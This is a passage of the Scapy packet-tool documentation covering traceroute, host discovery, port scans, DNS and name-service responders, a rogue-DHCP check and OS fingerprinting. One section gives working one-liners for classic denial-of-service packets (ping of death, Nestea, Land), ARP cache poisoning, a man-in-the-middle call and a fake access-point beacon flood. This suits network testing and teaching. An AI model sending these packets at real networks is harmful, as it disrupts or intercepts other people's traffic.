traceroute([\"www.yahoo.com\",\"www.altavista.com\",\"www.wisenut.com\",\"www.copernic.com\"],maxttl=20)\n    Received 80 packets, got 80 answers, remaining 0 packets\n       193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80   \n    1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        \n    2  82.243.5.254       82.243.5.254       82.243.5.254       82.243.5.254     \n    3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      \n    4  212.27.50.46       212.27.50.46       212.27.50.46       212.27.50.46       \n    5  212.27.50.37       212.27.50.41       212.27.50.37       212.27.50.41       \n    6  212.27.50.34       212.27.50.34       213.228.3.234      193.251.251.69     \n    7  213.248.71.141     217.118.239.149    208.184.231.214    193.251.241.178    \n    8  213.248.65.81      217.118.224.44     64.125.31.129      193.251.242.98     \n    9  213.248.70.14      213.206.129.85     64.125.31.186      193.251.243.89     \n    10 193.45.10.88    SA 213.206.128.160    64.125.29.122      193.251.254.126    \n    11 193.45.10.88    SA 206.24.169.41      64.125.28.70       216.115.97.178     \n    12 193.45.10.88    SA 206.24.226.99      64.125.28.209      66.218.64.146      \n    13 193.45.10.88    SA 206.24.227.106     64.125.29.45       66.218.82.230      \n    14 193.45.10.88    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA \n    15 193.45.10.88    SA 216.109.120.149    64.124.229.109     66.94.229.254   SA \n    16 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA \n    17 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA \n    18 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA \n    19 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA \n    20 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA \n    (<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)\n\nThe last line is in fact the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding.\n\n    >>> result, unans = _\n    >>> result.show()\n       193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80   \n    1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        \n    2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254     \n    3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      \n    [...]\n    >>> result.filter(lambda x: Padding in x[1])\n\nLike any result object, traceroute objects can be added :\n\n    >>> r2, unans = traceroute([\"www.voila.com\"],maxttl=20)\n    Received 19 packets, got 19 answers, remaining 1 packets\n       195.101.94.25:80   \n    1  192.168.8.1        \n    2  82.251.4.254     \n    3  213.228.4.254      \n    4  212.27.50.169      \n    5  212.27.50.162      \n    6  193.252.161.97     \n    7  193.252.103.86     \n    8  193.252.103.77     \n    9  193.252.101.1      \n    10 193.252.227.245    \n    12 195.101.94.25   SA \n    13 195.101.94.25   SA \n    14 195.101.94.25   SA \n    15 195.101.94.25   SA \n    16 195.101.94.25   SA \n    17 195.101.94.25   SA \n    18 195.101.94.25   SA \n    19 195.101.94.25   SA \n    20 195.101.94.25   SA \n    >>>\n    >>> r3=result+r2\n    >>> r3.show()\n       195.101.94.25:80   212.23.37.13:80    216.109.118.72:80  64.241.242.243:80  66.94.229.254:80   \n    1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        \n    2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254     \n    3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      \n    4  212.27.50.169      212.27.50.169      212.27.50.46       -                  212.27.50.46       \n    5  212.27.50.162      212.27.50.162      212.27.50.37       212.27.50.41       212.27.50.37       \n    6  193.252.161.97     194.68.129.168     212.27.50.34       213.228.3.234      193.251.251.69     \n    7  193.252.103.86     212.23.42.33       217.118.239.185    208.184.231.214    193.251.241.178    \n    8  193.252.103.77     212.23.42.6        217.118.224.44     64.125.31.129      193.251.242.98     \n    9  193.252.101.1      212.23.37.13    SA 213.206.129.85     64.125.31.186      193.251.243.89     \n    10 193.252.227.245    212.23.37.13    SA 213.206.128.160    64.125.29.122      193.251.254.126    \n    11 -                  212.23.37.13    SA 206.24.169.41      64.125.28.70       216.115.97.178     \n    12 195.101.94.25   SA 212.23.37.13    SA 206.24.226.100     64.125.28.209      216.115.101.46     \n    13 195.101.94.25   SA 212.23.37.13    SA 206.24.238.166     64.125.29.45       66.218.82.234      \n    14 195.101.94.25   SA 212.23.37.13    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA \n    15 195.101.94.25   SA 212.23.37.13    SA 216.109.120.151    64.124.229.109     66.94.229.254   SA \n    16 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA \n    17 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA \n    18 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA \n    19 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA \n    20 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA \n\nTraceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS (Autonomous System). You will need graphviz. By default, ImageMagick is used to display the graph.\n\n    >>> res, unans = traceroute([\"www.microsoft.com\",\"www.cisco.com\",\"www.yahoo.com\",\"www.wanadoo.fr\",\"www.pacsec.com\"],dport=[80,443],maxttl=20,retry=-2)\n    Received 190 packets, got 190 answers, remaining 10 packets\n       193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80  207.46...\n    1  192.168.8.1         192.168.8.1        192.168.8.1        192.168.8.1        192.16...\n    2  82.251.4.254        82.251.4.254       82.251.4.254       82.251.4.254       82.251...\n    3  213.228.4.254       213.228.4.254      213.228.4.254      213.228.4.254      213.22...\n    [...]\n    >>> res.graph()                          # piped to ImageMagick's display program. Image below.\n    >>> res.graph(type=\"ps\",target=\"| lp\")   # piped to postscript printer\n    >>> res.graph(target=\"> /tmp/graph.svg\") # saved to file \n\n.. image:: graphics/graph_traceroute.png\n\nIf you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed::\n\n    >>> res.trace3D()\n\n.. image:: graphics/trace3d_1.png\n\n.. image:: graphics/trace3d_2.png\n\nWireless frame injection\n------------------------\n\n.. index::\n   single: FakeAP, Dot11, wireless, WLAN\n\n.. note::\n   See the :doc:`TroubleShooting <troubleshooting>` section for more information on the usage of Monitor mode among Scapy.\n\nProvided that your wireless card and driver are correctly configured for frame injection, you can have a kind of FakeAP::\n\n    >>> sendp(RadioTap()/\n              Dot11(addr1=\"ff:ff:ff:ff:ff:ff\",\n                    addr2=\"00:01:02:03:04:05\",\n                    addr3=\"00:01:02:03:04:05\")/\n              Dot11Beacon(cap=\"ESS\", timestamp=1)/\n              Dot11Elt(ID=\"SSID\", info=RandString(RandNum(1,50)))/\n              Dot11EltRates(rates=[130, 132, 11, 22])/\n              Dot11Elt(ID=\"DSset\", info=\"\\x03\")/\n              Dot11Elt(ID=\"TIM\", info=\"\\x00\\x01\\x00\\x00\"),\n              iface=\"mon0\", loop=1)\n\nDepending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example ``RadioTap()``) by ``PrismHeader()``, or by a proprietary pseudo-layer, or even to remove it.\n\n\nSimple one-liners\n=================\n\n\nACK Scan\n--------\n\nUsing Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans.\nFor example, the following string will be sent to simulate an ACK Scan::\n\n    >>> ans, unans = sr(IP(dst=\"www.slashdot.org\")/TCP(dport=[80,666],flags=\"A\"))\n\nWe can find unfiltered ports in answered packets::\n\n    >>> for s,r in ans:\n    ...     if s[TCP].dport == r[TCP].sport:\n    ...        print(\"%d is unfiltered\" % s[TCP].dport)\n\nSimilarly, filtered ports can be found with unanswered packets::\n\n    >>> for s in unans:     \n    ...     print(\"%d is filtered\" % s[TCP].dport)\n\n\nXmas Scan\n---------\n\nXmas Scan can be launched using the following command::\n\n    >>> ans, unans = sr(IP(dst=\"192.168.1.1\")/TCP(dport=666,flags=\"FPU\") )\n\nChecking RST responses will reveal closed ports on the target. \n\nIP Scan\n-------\n\nA lower level IP Scan can be used to enumerate supported protocols::\n\n    >>> ans, unans = sr(IP(dst=\"192.168.1.1\",proto=(0,255))/\"SCAPY\",retry=2)\n\n\nARP Ping\n--------\n\nThe fastest way to discover hosts on a local ethernet network is to use the ARP Ping method::\n\n    >>> ans, unans = srp(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=\"192.168.1.0/24\"), timeout=2)\n\nAnswers can be reviewed with the following command::\n\n    >>> ans.summary(lambda s,r: r.sprintf(\"%Ether.src% %ARP.psrc%\") )\n\nScapy also includes a built-in arping() function which performs similar to the above two commands:\n\n    >>> arping(\"192.168.1.0/24\")\n\n\nICMP Ping\n---------\n\nClassical ICMP Ping can be emulated using the following command::\n\n    >>> ans, unans = sr(IP(dst=\"192.168.1.0/24\")/ICMP(), timeout=3)\n\nInformation on live hosts can be collected with the following request::\n\n    >>> ans.summary(lambda s,r: r.sprintf(\"%IP.src% is alive\") )\n\n\nTCP Ping\n--------\n\nIn cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below::\n\n    >>> ans, unans = sr( IP(dst=\"192.168.1.0/24\")/TCP(dport=80,flags=\"S\") )\n\nAny response to our probes will indicate a live host. We can collect results with the following command::\n\n    >>> ans.summary( lambda s,r : r.sprintf(\"%IP.src% is alive\") )\n\n\nUDP Ping\n--------\n\nIf all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0::\n\n    >>> ans, unans = sr( IP(dst=\"192.168.*.1-10\")/UDP(dport=0) )\n\nOnce again, results can be collected with this command::\n\n    >>> ans.summary( lambda s,r : r.sprintf(\"%IP.src% is alive\") )\n\n\nDNS Requests\n------------\n\n**IPv4 (A) request:**\n\nThis will perform a DNS request looking for IPv4 addresses\n\n    >>> ans = sr1(IP(dst=\"8.8.8.8\")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname=\"secdev.org\",qtype=\"A\")))\n    >>> ans.an[0].rdata\n    '217.25.178.5'\n\n**SOA request:**\n\n    >>> ans = sr1(IP(dst=\"8.8.8.8\")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname=\"secdev.org\",qtype=\"SOA\")))\n    >>> ans.an[0].mname\n    b'dns.ovh.net.'\n    >>> ans.an[0].rname\n    b'tech.ovh.net.'\n\n**MX request:**\n\n    >>> ans = sr1(IP(dst=\"8.8.8.8\")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname=\"google.com\",qtype=\"MX\")))\n    >>> results = [x.exchange for x in ans.an]\n    >>> results\n    [b'alt1.aspmx.l.google.com.',\n     b'alt4.aspmx.l.google.com.',\n     b'aspmx.l.google.com.',\n     b'alt2.aspmx.l.google.com.',\n     b'alt3.aspmx.l.google.com.']\n\n\nClassical attacks\n-----------------\n\nMalformed packets::\n\n    >>> send(IP(dst=\"10.1.1.5\", ihl=2, version=3)/ICMP()) \n\nPing of death (Muuahahah)::\n\n    >>> send( fragment(IP(dst=\"10.0.0.5\")/ICMP()/(\"X\"*60000)) ) \n\nNestea attack::\n\n    >>> send(IP(dst=target, id=42, flags=\"MF\")/UDP()/(\"X\"*10)) \n    >>> send(IP(dst=target, id=42, frag=48)/(\"X\"*116)) \n    >>> send(IP(dst=target, id=42, flags=\"MF\")/UDP()/(\"X\"*224)) \n    \nLand attack (designed for Microsoft Windows)::\n\n    >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))\n\nARP cache poisoning   \n------------------- \nThis attack prevents a client from joining the gateway by poisoning \nits ARP cache through a VLAN hopping attack. \n\nClassic ARP cache poisoning::\n\n    >>> send( Ether(dst=clientMAC)/ARP(op=\"who-has\", psrc=gateway, pdst=client), \n          inter=RandNum(10,40), loop=1 ) \n\nARP cache poisoning with double 802.1q encapsulation::\n \n    >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) \n          /ARP(op=\"who-has\", psrc=gateway, pdst=client),\n          inter=RandNum(10,40), loop=1 )\n\nARP MitM\n--------\nThis poisons the cache of 2 machines, then answers all following ARP requests to put the host between.\nCalling ctrl^C will restore the connection.\n\n::\n\n    $ sysctl net.ipv4.conf.virbr0.send_redirects=0  # virbr0 = interface\n    $ sysctl net.ipv4.ip_forward=1\n    $ sudo scapy\n    >>> arp_mitm(\"192.168.122.156\", \"192.168.122.17\")\n\nTCP Port Scanning \n-----------------\n \nSend a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:: \n\n    >>> res, unans = sr( IP(dst=\"target\") \n                    /TCP(flags=\"S\", dport=(1,1024)) ) \n\nPossible result visualization: open ports\n\n::\n\n    >>> res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )\n    \n    \nIKE Scanning\n------------\n\nWe try to identify VPN concentrators by sending ISAKMP Security Association proposals\nand receiving the answers::\n\n    >>> res, unans = sr( IP(dst=\"192.168.1.0/24\")/UDP()\n                    /ISAKMP(init_cookie=RandString(8), exch_type=\"identity prot.\") \n                    /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) \n                  ) \n\nVisualizing the results in a list::\n\n    >>> res.nsummary(prn=lambda s,r: r.src, lfilter=lambda s,r: r.haslayer(ISAKMP) ) \n\n\nDNS server\n----------\n\nBy default, ``dnsd`` uses a joker (IPv4 only): it answers to all unknown servers with the joker. See :class:`~scapy.layers.dns.DNS_am`::\n\n    >>> dnsd(iface=\"tap0\", match={\"google.com\": \"1.1.1.1\"}, joker=\"192.168.1.1\")\n\nYou can also use ``relay=True`` to replace the joker behavior with a forward to a server included in ``conf.nameservers``.\n\nmDNS server\n------------\n\nSee :class:`~scapy.layers.dns.mDNS_am`::\n\n    >>> mdnsd(iface=\"eth0\", joker=\"192.168.1.1\")\n\nNote that ``mdnsd`` extends the ``dnsd`` API.\n\nLLMNR server\n------------\n\nSee :class:`~scapy.layers.llmnr.LLMNR_am`::\n\n    >>> conf.iface = \"tap0\"\n    >>> llmnrd(iface=\"tap0\", from_ip=Net(\"10.0.0.1/24\"))\n\nNote that ``llmnrd`` extends the ``dnsd`` API.\n\nNetbios server\n--------------\n\nSee :class:`~scapy.layers.netbios.NBNS_am`::\n\n    >>> nbnsd(iface=\"eth0\")  # With local IP\n    >>> nbnsd(iface=\"eth0\", ip=\"192.168.122.17\")  # With some other IP\n\nNode status request (get NetbiosName from IP)\n---------------------------------------------\n\n.. code::\n\n    >>> sr1(IP(dst=\"192.168.122.17\")/UDP()/NBNSHeader()/NBNSNodeStatusRequest())\n\nNBNS Query Request (find by NetbiosName)\n----------------------------------------\n\n.. code::\n\n    >>> conf.checkIPaddr = False  # Mandatory because we are using a broadcast destination and receiving unicast\n    >>> sr1(IP(dst=\"192.168.0.255\")/UDP()/NBNSHeader()/NBNSQueryRequest(QUESTION_NAME=\"DC1\"))\n\nmDNS Query Request\n------------------\n\nFor instance, find all spotify connect devices.\n\n.. code::\n\n    >>> # For interface 'eth0'\n    >>> ans, _ = sr(IPv6(dst=\"ff02::fb%eth0\")/UDP(sport=5353, dport=5353)/DNS(rd=0, qd=[DNSQR(qname='_spotify-connect._tcp.local', qtype=\"PTR\")]), multi=True, timeout=2)\n    >>> ans.show()\n\n.. note::\n\n    As you can see, we used a scope identifier (``%eth0``) to specify on which interface we want to use the above multicast IP.\n\nAdvanced traceroute\n-------------------\n\nTCP SYN traceroute\n^^^^^^^^^^^^^^^^^^\n\n::\n\n    >>> ans, unans = sr(IP(dst=\"4.2.2.1\",ttl=(1,10))/TCP(dport=53,flags=\"S\"))\n\nResults would be::\n\n    >>> ans.summary( lambda s,r: r.sprintf(\"%IP.src%\\t{ICMP:%ICMP.type%}\\t{TCP:%TCP.flags%}\"))\n    192.168.1.1     time-exceeded\n    68.86.90.162    time-exceeded\n    4.79.43.134     time-exceeded\n    4.79.43.133     time-exceeded\n    4.68.18.126     time-exceeded\n    4.68.123.38     time-exceeded\n    4.2.2.1         SA\n\n\nUDP traceroute\n^^^^^^^^^^^^^^\n\nTracerouting an UDP application like we do with TCP is not \nreliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP, \nNTP, etc.) to deserve an answer::\n\n    >>> res, unans = sr(IP(dst=\"target\", ttl=(1,20))\n                  /UDP()/DNS(qd=DNSQR(qname=\"test.com\")) \n\nWe can visualize the results as a list of routers::\n\n    >>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src))\n\n\nDNS traceroute\n^^^^^^^^^^^^^^\n\nWe can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function::\n\n    >>> ans, unans = traceroute(\"4.2.2.1\",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname=\"thesprawl.org\")))\n    Begin emission:\n    ..*....******...******.***...****Finished to send 30 packets.\n    *****...***...............................\n    Received 75 packets, got 28 answers, remaining 2 packets\n       4.2.2.1:udp53      \n    1  192.168.1.1     11 \n    4  68.86.90.162    11 \n    5  4.79.43.134     11 \n    6  4.79.43.133     11 \n    7  4.68.18.62      11 \n    8  4.68.123.6      11 \n    9  4.2.2.1            \n    ...\n\n\nEtherleaking \n------------\n\n::\n\n    >>> sr1(IP(dst=\"172.16.1.232\")/ICMP()) \n    <IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]| \n    <Padding load=’0O\\x02\\x01\\x00\\x04\\x06public\\xa2B\\x02\\x02\\x1e’ |>>> \n\nICMP leaking\n------------ \n\nThis was a Linux 2.0 bug:: \n\n    >>> sr1(IP(dst=\"172.16.1.1\", options=\"\\x02\")/ICMP()) \n    <IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] | \n    <IPerror src=172.16.1.24 options=’\\x02\\x00\\x00\\x00’ [...] | \n    <ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff | \n    <Padding load=’\\x00[...]\\x00\\x1d.\\x00V\\x1f\\xaf\\xd9\\xd4;\\xca’ |>>>>> \n\n\nVLAN hopping \n------------\n\nIn very specific conditions, a double 802.1q encapsulation will \nmake a packet jump to another VLAN::\n \n    >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP()) \n\n\nWireless sniffing\n-----------------\n\nThe following command will display information similar to most wireless sniffers::\n\n>>> sniff(iface=\"ath0\", prn=lambda x:x.sprintf(\"{Dot11Beacon:%Dot11.addr3%\\t%Dot11Beacon.info%\\t%PrismHeader.channel%\\t%Dot11Beacon.cap%}\"))\n\n.. note::\n    On Windows and OSX, you will need to also use `monitor=True`, which only works on scapy>2.4.0 (2.4.0dev+). This might require you to manually toggle monitor mode.\n\nThe above command will produce output similar to the one below::\n\n    00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC\n    11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy\n    44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy\n    12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble\n\n\nRecipes \n=======\n\nSimplistic ARP Monitor\n----------------------\n\nThis program uses the ``sniff()`` callback (parameter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic.\n\n::\n\n    #! /usr/bin/env python\n    from scapy.all import *\n    \n    def arp_monitor_callback(pkt):\n        if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at\n            return pkt.sprintf(\"%ARP.hwsrc% %ARP.psrc%\")\n    \n    sniff(prn=arp_monitor_callback, filter=\"arp\", store=0)\n\nIdentifying rogue DHCP servers on your LAN \n-------------------------------------------\n\n.. index::\n   single: DHCP\n\nProblem\n^^^^^^^\n\nYou suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentionally or maliciously. \nThus you want to check for any active DHCP servers and identify their IP and MAC addresses.  \n\nSolution\n^^^^^^^^\n\nUse Scapy to send a DHCP discover request and analyze the replies::\n\n    >>> conf.checkIPaddr = False\n    >>> hw = get_if_hwaddr(conf.iface)\n    >>> dhcp_discover = Ether(dst=\"ff:ff:ff:ff:ff:ff\")/IP(src=\"0.0.0.0\",dst=\"255.255.255.255\")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[(\"message-type\",\"discover\"),\"end\"])\n    >>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds\n    Begin emission:\n    Finished to send 1 packets.\n    .*...*..\n    Received 8 packets, got 2 answers, remaining 0 packets\n\nIn this case we got 2 replies, so there were two active DHCP servers on the test network::\n\n    >>> ans.summary()\n    Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP\n    Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP\n\nWe are only interested in the MAC and IP addresses of the replies: \n\n    >>> for p in ans: print(p[1][Ether].src, p[1][IP].src)\n    ...\n    00:de:ad:be:ef:00 192.168.1.1\n    00:11:11:22:22:33 192.168.1.11\n\nDiscussion\n^^^^^^^^^^\n\nWe specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received.\nThis is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DHCP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet. \n\nMoreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus.  \n\nSee also\n^^^^^^^^\n\nhttp://en.wikipedia.org/wiki/Rogue_DHCP\n\n\n\nFirewalking \n-----------\n\nTTL decrementation after a filtering operation \nonly not filtered packets generate an ICMP TTL exceeded \n\n    >>> ans, unans = sr(IP(dst=\"172.16.4.27\", ttl=16)/TCP(dport=(1,1024)))\n    >>> for s,r in ans:\n    ...     if r.haslayer(ICMP) and r.payload.type == 11:\n    ...         print(s.dport)\n\nFind subnets on a multi-NIC firewall \nonly his own NIC’s IP are reachable with this TTL:: \n\n    >>> ans, unans = sr(IP(dst=\"172.16.5/24\", ttl=15)/TCP())\n    >>> for i in unans: print(i.dst)\n\n\nTCP Timestamp Filtering\n------------------------\n\nProblem\n^^^^^^^\n\nMany firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners.\n\nSolution\n^^^^^^^^\n\nTo allow Scapy to reach target destination additional options must be used::\n\n    >>> sr1(IP(dst=\"72.14.207.99\")/TCP(dport=80,flags=\"S\",options=[('Timestamp',(0,0))]))\n\n\n\nViewing packets with Wireshark\n------------------------------\n\n.. index::\n   single: wireshark()\n\nProblem\n^^^^^^^\n\nYou have generated or sniffed some packets with Scapy.\n\nNow you want to view them with `Wireshark <https://www.wireshark.org>`_, because\nof its advanced packet dissection capabilities.\n\nSolution\n^^^^^^^^\n\nThat's what :py:func:`wireshark` is for!\n\n.. code-block:: python3\n\n    # First, generate some packets...\n    packets = IP(src=\"192.0.2.9\", dst=Net(\"192.0.2.10/30\"))/ICMP()\n\n    # Show them with Wireshark\n    wireshark(packets)\n\nWireshark will start in the background, and show your packets.\n \nDiscussion\n^^^^^^^^^^\n\n.. py:function:: wireshark(pktlist, ...)\n\n    With a :py:class:`Packet` or :py:class:`PacketList`, serialises your\n    packets, and streams this into Wireshark via ``stdin`` as if it were a\n    capture device.\n\n    Because this uses ``pcap`` format to serialise the packets, there are some\n    limitations:\n\n    * Packets must be all of the same ``linktype``.\n\n      For example, you can't mix :py:class:`Ether` and :py:class:`IP` at the\n      top layer.\n\n    * Packets must have an assigned (and supported) ``DLT_*`` constant for the\n      ``linktype``.  An unsupported ``linktype`` is replaced with ``DLT_EN10MB``\n      (Ethernet), and will display incorrectly in Wireshark.\n\n      For example, can't pass a bare :py:class:`ICMP` packet, but you can send\n      it as a payload of an :py:class:`IP` or :py:class:`IPv6` packet.\n\n    With a filename (passed as a string), this loads the given file in\n    Wireshark. This needs to be in a format that Wireshark supports.\n\n    You can tell Scapy where to find the Wireshark executable by changing the\n    ``conf.prog.wireshark`` configuration setting.\n\n    This accepts the same extra parameters as :py:func:`tcpdump`.\n\n.. seealso::\n\n    :py:class:`WiresharkSink`\n        A :ref:`PipeTools sink <pipetools>` for live-streaming packets.\n\n    :manpage:`wireshark(1)`\n        Additional description of Wireshark's functionality, and its\n        command-line arguments.\n\n    `Wireshark's website`__\n        For up-to-date releases of Wireshark.\n\n    `Wireshark Protocol Reference`__\n        Contains detailed information about Wireshark's protocol dissectors, and\n        reference documentation for various network protocols.\n\n__ https://www.wireshark.org\n__ https://wiki.wireshark.org/ProtocolReference\n\nPerformance of Scapy\n--------------------\n\nProblem\n^^^^^^^\n\nScapy dissects slowly and/or misses packets under heavy loads.\n\n.. note::\n\n    Please bear in mind that Scapy is not designed to be blazing fast, but rather easily hackable & extensible. The packet model makes it VERY easy to create new layers, compared to pretty much all other alternatives, but comes with a performance cost. Of course, we still do our best to make Scapy as fast as possible, but it's not the absolute main goal.\n\nSolution\n^^^^^^^^\n\nThere are quite a few ways of speeding up scapy's dissection. You can use all of them\n\n- **Using a BPF filter**: The OS is faster than Scapy. If you make the OS filter the packets instead of Scapy, it will only handle a fraction of the load. Use the ``filter=`` argument of the :py:func:`~scapy.sendrecv.sniff` function.\n- **By disabling layers you don't use**: If you are not using some layers, why dissect them? You can let Scapy know which layers to dissect and all the others will simply be parsed as ``Raw``. This comes with a great performance boost but requires you to know what you're doing.\n\n.. code:: python\n\n    # Enable filtering: only Ether, IP and ICMP will be dissected\n    conf.layers.filter([Ether, IP, ICMP])\n    # Disable filtering: restore everything to normal\n    conf.layers.unfilter()\n\nVery slow start because of big routes\n-------------------------------------\n\nProblem\n^^^^^^^\n\nScapy takes ages to start because you have very big routing tables.\n\nSolution\n^^^^^^^^\n\nDisable the auto-loading of the routing tables:\n\n**CLI:** in ``~/.config/scapy/prestart.py`` add:\n\n.. code:: python\n\n    conf.route_autoload = False\n    conf.route6_autoload = False\n\n**Programmatically:**\n\n.. code:: python\n\n    # Before any other Scapy import\n    from scapy.config import conf\n    conf.route_autoload = False\n    conf.route6_autoload = False\n    # Import Scapy here\n    from scapy.all import *\n\nAt anytime, you can trigger the routes loading using ``conf.route.resync()`` or ``conf.route6.resync()``, or add the routes yourself `as shown here <#routing>`_.\n\n\nOS Fingerprinting\n-----------------\n\nISN\n^^^\n\nScapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop::\n\n    >>> ans, unans = srloop(IP(dst=\"192.168.1.1\")/TCP(dport=80,flags=\"S\"))\n\nOnce we obtain a reasonable number of responses we can start analyzing collected data with something like this:\n\n    >>> temp = 0\n    >>> for s, r in ans:\n    ...    temp = r[TCP].seq - temp\n    ...    print(\"%d\\t+%d\" % (r[TCP].seq, temp))\n    ... \n    4278709328      +4275758673\n    4279655607      +3896934\n    4280642461      +4276745527\n    4281648240      +4902713\n    4282645099      +4277742386\n    4283643696      +5901310\n\nnmap_fp\n^^^^^^^\n\nNmap fingerprinting (the old \"1st generation\" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first::\n\n    >>> load_module(\"nmap\")\n\nIf you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by::\n\n    >>> conf.nmap_base\n\nThen you can use the ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine::\n\n    >>> nmap_fp(\"192.168.1.1\",oport=443,cport=1)\n    Begin emission:\n    .****..**Finished to send 8 packets.\n    *................................................\n    Received 58 packets, got 7 answers, remaining 1 packets\n    (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', \n    'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)\n    w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])\n\np0f\n^^^\n\nIf you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by::\n\n    >>> conf.p0f_base\n\nFor example to guess OS from a single captured packet:\n\n    >>> sniff(prn=prnp0f)\n    192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)\n      -> 74.125.19.104:www (distance 0)\n    <Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>\n\n\n\n"
  },
  {
    "path": "doc/scapy.1",
